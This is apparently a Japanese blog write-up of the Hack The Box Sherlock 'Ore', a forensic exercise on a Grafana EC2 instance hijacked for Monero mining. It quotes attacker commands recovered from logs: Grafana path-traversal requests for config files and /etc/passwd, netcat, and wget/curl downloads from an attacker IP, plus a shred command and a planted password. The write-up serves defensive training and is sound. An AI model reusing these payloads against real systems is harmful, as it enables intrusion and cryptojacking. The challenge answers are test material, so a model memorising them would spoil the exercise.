はまやんはまやんはまやん

hamayanhamayan's blog

Hack The Box Sherlocks - Ore Writeup

https://app.hackthebox.com/sherlocks/Ore
Hack The Box Sherlocksとは

Sherlock Scenario

One of our technical partners are currently managing our AWS infrastructure. We requested the deployment of some technology into the cloud. The solution proposed was an EC2 instance hosting the Grafana application. Not too long after the EC2 was deployed the CPU usage ended up sitting at a continuous 98%+ for a process named "xmrig". Important Information Our organisation's office public facing IP is 86.5.206.121, upon the deployment of the application we carried out some basic vulnerability testing and maintenance.
現在、当社の技術パートナーの 1 人が AWS インフラストラクチャを管理しています。私たちは、いくつかのテクノロジークラウドに展開するよう要求しました。提案されたソリューションは、Grafana アプリケーションをホストする EC2 インスタンスでした。EC2 がデプロイされてからそれほど時間が経たないうちに、「xmrig」という名前のプロセスの CPU 使用率が継続的に 98% 以上に留まりました。重要な情報 私たちの組織のオフィスの公開 IP は 86.5.206.121 です。アプリケーションの展開時に、いくつかの基本的な脆弱性テストとメンテナンスを実施しました。

ファストフォレンジックデータが与えられるので設問に答えていく。

Tasks

Task 1

Which CVE lead to the initial compromise of the EC2?
EC2 の最初の侵害につながったのはどの CVE ですか?

grafanaが動いているようで、バージョンを見ると8.2.0だった。検索して出てきたCVE出してみると正解だった。

Task 2

Please detail all malicious IP addresses used by the threat actor (TA) targeting our organisation.
私たちの組織を標的とする脅威アクター (TA) が使用するすべての悪意のある IP アドレスを詳しく教えてください。

一番苦労した。

2022-11-23T10:54:39Z | 95.181.232.32  | GET /public/plugins/alertlist/../../../../../../../../usr/share/grafana/conf/defaults.ini status=200
2022-11-23T10:57:00Z | 195.80.150.137 | GET /public/plugins/alertlist/../../../../../../../../etc/passwd status=200
2022-11-23T11:17:07Z | 195.80.150.137 | grafanaユーザーでログイン
2022-11-23T11:59:44Z |                | nc 44.204.18.94
2022-11-24T08:18:31Z | 195.80.150.137 | grafanaユーザーでログアウト 21h01m
2022-11-24 08:30:01Z |                | wget http://44.204.18.94:80/injector.sh

色んなログソースから以上のような情報を集めて、44.204.18.94,95.181.232.32,195.80.150.137を答えると正答。

Task 3

Which account to the TA utilise to authenticate to the host OS?
TA はホスト OS への認証にどのアカウントを使用しますか?

grafana経由で入られているので、ip-172-31-13-147-20221124-1501-lastlog.txtを見てそれっぽいものを探すとgrafanaだった。

Task 4

Which file did the TA modify in order to escalate privileges and run the mining service as "root"?
TA は権限を昇格して「root」としてマイニング サービスを実行するためにどのファイルを変更しましたか?

30 8 * * * /opt/automation/updater.sh

以上のようにcronに登録がある。管理者が用意した自動更新のためのスクリプトと見られるが、これを変更して権限昇格されていた。

Task 5

Which program did the TA utilise to download the injector.sh script?
TA は、injector.sh スクリプトをダウンロードするためにどのプログラムを利用しましたか?

catscale_out/Logs/var/log/syslogにwget http://44.204.18.94:80/injector.shというコマンドが残っている。

Task 6

Where was the crypto mining binary & config file initially downloaded to?
暗号マイニングのバイナリと構成ファイルは最初にどこにダウンロードされましたか?

syslogを眺めると/opt/automation/に色々置かれている。

Task 7

Which program did the TA utilise to download both the crypto mining binary & configuration file?
TA は、暗号マイニング バイナリと構成ファイルの両方をダウンロードするためにどのプログラムを利用しましたか?

curlやろと思って検索するとcurlだった。あとでcurl -s -O http://44.204.18.94:80/xmrig -O http://44.204.18.94:80/config.jsonというコマンド実行も見つけた。

Task 8

We need to confirm the exact time the SOC team began artefact collection as this was not included in the report. They utilise the same public facing IP address as our system administrators in Lincoln.
SOC チームがアーティファクト収集を開始した正確な時刻はレポートに含まれていないため、確認する必要があります。彼らは、リンカーンのシステム管理者と同じパブリック IP アドレスを使用します。

Cat-Scale.shで検索して最初にログが残っていた時刻を答えた。

Nov 24 15:01:00 ip-172-31-13-147 sysmon: <Event><System><Provider Name="Linux-Sysmon" Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"/><EventID>11</EventID><Version>2</Version><Level>4</Level><Task>11</Task><Opcode>0</Opcode><Keywords>0x8000000000000000</Keywords><TimeCreated SystemTime="2022-11-24T15:01:00.508544000Z"/><EventRecordID>80918</EventRecordID><Correlation/><Execution ProcessID="1349" ThreadID="1349"/><Channel>Linux-Sysmon/Operational</Channel><Computer>ip-172-31-13-147</Computer><Security UserId="0"/></System><EventData><Data Name="RuleName">-</Data><Data Name="UtcTime">2022-11-24 15:01:00.511</Data><Data Name="ProcessGuid">{c9eb4a87-8703-637f-30e5-4b6291550000}</Data><Data Name="ProcessId">2355</Data><Data Name="Image">/usr/lib/openssh/sftp-server</Data><Data Name="TargetFilename">/home/ubuntu/Cat-Scale.sh</Data><Data Name="CreationUtcTime">2022-11-24 15:01:00.511</Data><Data Name="User">ubuntu</Data></EventData></Event>

Task 9

Please confirm the password left by the system administrator in some Grafana configuration files.
システム管理者が一部の Grafana 設定ファイルに残したパスワードを確認してください。

grafanaのパストラバーサルで取得に成功している/usr/share/grafana/conf/defaults.iniに書いてある。

# default admin password, can be changed before first start of grafana, or in profile settings
admin_password = f0rela96789!

Task 10

What was the mining threads value set to when xmrig was initiated?
xmrig が開始されたときにマイニング スレッドの値は何に設定されましたか?

xmrigで検索して眺めると、以下のログが見つかる。

Nov 24 09:59:49 ip-172-31-60-25 xmrig[4090]: [2022-11-24 09:59:49.355] /usr/share/.logstxt/xmrig: unsupported non-option argument 'threads=0'

Task 11

Our CISO is requesting additional details surrounding which mining pool this may have been utilising. Please confirm which (if any) mining pool this the TA utilised.
当社の CISO は、これがどのマイニング プールを使用していた可能性があるかについて、追加の詳細を要求しています。TA がこれを使用したマイニング プール (存在する場合) を確認してください。

xmrigでgrepしてそれっぽいログを探すと以下が見つかる。

Nov 24 09:59:49 ip-172-31-60-25 xmrig[4090]: [2022-11-24 09:59:49#033[1;30m.736#033[0m] #033[44;1m#033[1;37m net     #033[0m #033[1;37muse pool #033[0m#033[1;36mmonero.herominers.com:10191 #033[0m#033[1;32mTLSv1.3#033[0m #033[1;30m141.95.126.31#033[0m#033[0m

Task 12

We couldn't locate the crypto mining binary and configuration file in the original download location. Where did the TA move them to on the file system?
元のダウンロード場所に暗号マイニング バイナリと構成ファイルが見つかりませんでした。TA はそれらをファイル システム上のどこに移動しましたか?

xmrigで検索してそれっぽいフォルダを探すと、以下のログが見つかる。

Nov 24 14:32:38 ip-172-31-13-147 xmrig[1089]: [2022-11-24 14:32:38.736] /usr/share/.logstxt/xmrig: unsupported non-option argument 'threads=0'

Task 13

We have been unable to forensically recover the "injector.sh" script for analysis. We believe the TA may have ran a command to prevent us doing recovering the file. What command did the TA run?
分析のために「injector.sh」スクリプトを法医学的に回復することができませんでした。私たちは、TA がファイルの回復を妨げるコマンドを実行した可能性があると考えています。TA はどのようなコマンドを実行しましたか?

catscale_out/Logs/var/log/syslogにshred -u ./injector.shというコマンドが残っている。

Task 14

How often does the cronjob created by our IT admins run for the script modified by the TA?
IT 管理者によって作成された cron ジョブは、TA によって変更されたスクリプトに対してどのくらいの頻度で実行されますか?

ip-172-31-13-147-20221124-1501-cron-tab-list.txtを見ると30 8 * * * /opt/automation/updater.shとあるのでここから分かる。